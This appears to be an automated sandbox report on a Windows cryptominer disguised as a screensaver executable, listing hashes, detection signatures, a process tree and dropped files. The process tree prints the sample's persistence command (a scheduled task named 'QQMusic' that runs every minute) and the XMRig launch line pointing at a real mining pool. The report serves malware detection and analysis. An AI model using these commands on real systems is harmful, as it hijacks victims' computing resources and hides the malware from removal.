Overview

overview

10

Static

static

3

d6350d8a66...cr.exe

windows7-x64

10

d6350d8a66...cr.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-08-2024 14:44

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General

  • Target

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe

  • Size

    9.0MB

  • MD5

    a2af48a018c65d34b445bd35bdd1b597

  • SHA1

    76daedc184a0cb9a717fc49f86a57b5baed0a35c

  • SHA256

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

  • SHA512

    d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

  • SSDEEP

    196608:rhHMBGC3PtXtT+Was8ywq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G0jwuwasMdJOnZKVSaaNZOn

Score
10/10
xmrigdiscoveryminerpersistenceupx

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 21 IoCs
    miner
  • Executes dropped EXE 17 IoCs
  • UPX packed file 24 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 8 IoCs
    evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe
    "C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5056
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4748
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2084
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2200
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4192
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:3164
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:940
    • C:\ProgramData\SMB.exe
      C:\ProgramData\SMB.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2328
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4912
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2708
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:920
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4912
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4256
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3856
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:5068
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4428
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1500
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4192
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:6204
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6748
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6844
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      PID:6788
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:6896
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1988
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6564
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      PID:6460
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:6396
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1844
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6260
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      PID:2116
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3948
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6728
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6960
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:6888
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u L -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:6776
  • C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe
    C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe
    1⤵
    • Executes dropped EXE
    • Checks for VirtualBox DLLs, possible anti-VM trick
    PID:4768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\2HIf.exe
    Filesize

    1.3MB

    MD5

    23d84a7ed2e8e76d0a13197b74913654

    SHA1

    23d04ba674bafbad225243dc81ce7eccd744a35a

    SHA256

    ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

    SHA512

    aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

    Download Submit

  • C:\ProgramData\SMB.exe
    Filesize

    3.1MB

    MD5

    7b2f170698522cd844e0423252ad36c1

    SHA1

    303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

    SHA256

    5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

    SHA512

    7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

    Download Submit

  • C:\ProgramData\X64.dll
    Filesize

    85KB

    MD5

    9fe07fcd2c95e5cf931803a072fd830d

    SHA1

    8d8ce7008455618e311f5c5caf83071911c67159

    SHA256

    26cba69649ea767ea80192f3591fc494913136edf21b9d31fd31a72c4c6b14f4

    SHA512

    11c6b0b562e31110ea6bfe0ca76226f0a719cfaa0e8f4148b4a2abecf4818ff26589068a8f0a9fbfbcc36b5614ea253aacc574a472a60fb21f4cea06f95ab997

    Download Submit

  • C:\ProgramData\X86.dll
    Filesize

    71KB

    MD5

    b4511bb0ac0f5da3bd55e6221840ef72

    SHA1

    577e643c84c2d52fdc840b3c24dc3806c2141c51

    SHA256

    db6908077a327a84b3a7044d51014941b18fc14b659673df93b2d84a4515bada

    SHA512

    c9f379bb9f1d1a4b38b332863f5b9dbe050c7d64bceef00f843a3efa8e2151c39add68ab18587f30228615a7c288cdab033c15f32e3953645b9a6e4c685a493b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60.scr.exe
    Filesize

    9.0MB

    MD5

    a2af48a018c65d34b445bd35bdd1b597

    SHA1

    76daedc184a0cb9a717fc49f86a57b5baed0a35c

    SHA256

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

    SHA512

    d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

    Download Submit

  • memory/920-149-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/940-134-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/940-133-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/940-140-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/940-10-0x00000274E25C0000-0x00000274E25D4000-memory.dmp

    Filesize

    80KB

    Download

  • memory/940-8-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/2116-190-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/2708-143-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/3856-153-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/3948-193-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/4192-159-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/5068-156-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6204-163-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6204-165-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6204-162-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6396-185-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6396-184-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6396-187-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6460-176-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6776-200-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6776-201-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6788-169-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6888-197-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download

  • memory/6896-172-0x00007FF632C60000-0x00007FF6332A4000-memory.dmp

    Filesize

    6.3MB

    Download